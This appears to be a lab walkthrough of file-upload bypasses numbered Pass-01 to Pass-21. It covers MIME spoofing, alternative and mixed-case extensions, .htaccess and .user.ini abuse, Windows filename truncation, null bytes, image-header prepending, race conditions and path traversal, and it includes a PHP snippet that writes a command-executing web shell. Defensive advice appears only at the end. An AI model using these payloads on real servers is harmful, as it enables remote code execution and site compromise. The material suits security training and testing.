Frontend JS Bypass (Pass-01)

Client-side JavaScript validation can be circumvented by removing the form's onsubmit event handler via browser developer tools. Alternative, upload a legitmiate image file first, then modify the filename extension to .php using Burp Suite during transmission.

MIME Type Validation Bypass (Pass-02)

Server-side MIME validation checks the Content-Type header in the HTTP request. The $_FILES superglobal array contains file upload metadata:

$_FILES[]['name']     // Uploaded filename
$_FILES[]['type']     // MIME type (e.g., image/jpeg, image/png)
$_FILES[]['size']     // File size in bytes
$_FILES[]['tmp_name'] // Temporary storage path
$_FILES[]['error']    // Error code

Intercept the upload request with Burp Suite and modify the Content-Type to image/jpeg or other accepted types.

Blacklist Evasion via Alternative Extensions (Pass-03)

When blacklists block common extensions like .php, .jsp, and .asp, try alternative PHP extensions:

• .php3, .phtml, .php5, .php7
• Requires server configuration to interpret these as PHP

Modify Apache's httpd.conf to handle these extensions:

AddType application/x-httpd-php .php .php3 .phtml

.htaccess File Upload Exploitation (Pass-04)

Upload a .htaccess file to modify directory parsing rules:

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

Then upload a malicious file with .jpg extension that will be executed as PHP.

Requirements:

• PHP version below 5.6 (non-NTS)
• Apache server with .htaccess support enabled
• AllowOverride All directive

.user.ini Configuration Manipulation (Pass-05)

Upload a .user.ini file to auto-prepend malicious code:

auto_prepend_file=malicious.jpg

Then upload malicious.jpg containing PHP code. All PHP files in the directory will execute the prepended code.

Works with CGI/FastCGI SAPI and requires PHP 5.3.0+.

Case Variation Bypass (Pass-06)

Blacklists often use case-sensitive checks. Upload files with mixed case extensions:

• shell.PhP
• shell.pHp
• shell.PHP

Windows systems are case-insensitive, allowing these to execute as PHP files.

Whitespace Truncation (Pass-07)

Windows automatically removes trailing spaces from filenames. Upload shell.php (with trailing space) to bypass blacklist checks that don't trim whitespace.

Dot Truncation (Pass-08)

Similar to whitespace, Windows removes trailing dots. Upload shell.php. to evade blacklist validation.

NTFS Stream Bypass (Pass-09)

Windows NTFS alternate data streams allow shell.php::$DATA uploads. The ::$DATA stream is ignored, leaving shell.php.

Double Extension Bypass (Pass-11)

When blacklist filtering replaces banned extensions once:

$file_name = str_ireplace($deny_ext, "", $file_name);

Use double extensions: shell.pphphp becomes shell.php after replacement.

Null Byte Injection (Pass-12, 13)

Null characters (%00 or 0x00) truncate filenames in PHP versions below 5.3.29 when magic_quotes_gpc is off.

GET request: shell.php%00.jpg POST request: shell.php\x00.jpg

File Header Verification Bypass (Pass-14-16)

Server-side image validation checks can be bypassed by adding legitimate image headers to malicious files:

JPEG: FF D8 FF E0 PNG: 89 50 4E 47 GIF: 47 49 46 38

Prepend these headers to PHP code, then exploit file inclusion vulnerabilities.

Secondary Rendering Attacks (Pass-17)

When servers re-process uploaded images, inject PHP code into unaffected metadata areas. GIF files are easiest to exploit as they undergo minimal processing.

Race Condition Exploitation (Pass-17-19)

Upload workflows that validate after file movement create time windows for exploitation:

<?php
fputs(fopen('../upload/shell.php','w'),'<?php system($_GET[\"cmd\"]);?>');
?>

Use automated tools to repeatedly upload and access the file before deletion.

Path Manipulation (Pass-20)

When upload paths are user-controlled:

• Use path traversal: ../../../shell.php
• Apache line break parsing (CVE-2017-15715): shell.php\x0A
• Trailing dot-slash: shell.php/.

Array Parameter Bypass (Pass-21)

When applications process save_name as array:

$_POST['save_name'][0] = 'shell.php';
$_POST['save_name'][2] = 'jpg';

This creates array gap that bypasses extension validation.

Comprehensive Defense Strategies

• Whitelist file extensions
• Randomize filenames and storage paths
• Implement server-side content verification
• Use anti-virus scanning
• Deploy Web Application Firewalls
• Conduct secondary rendering of images
• Validate file types using multiple methods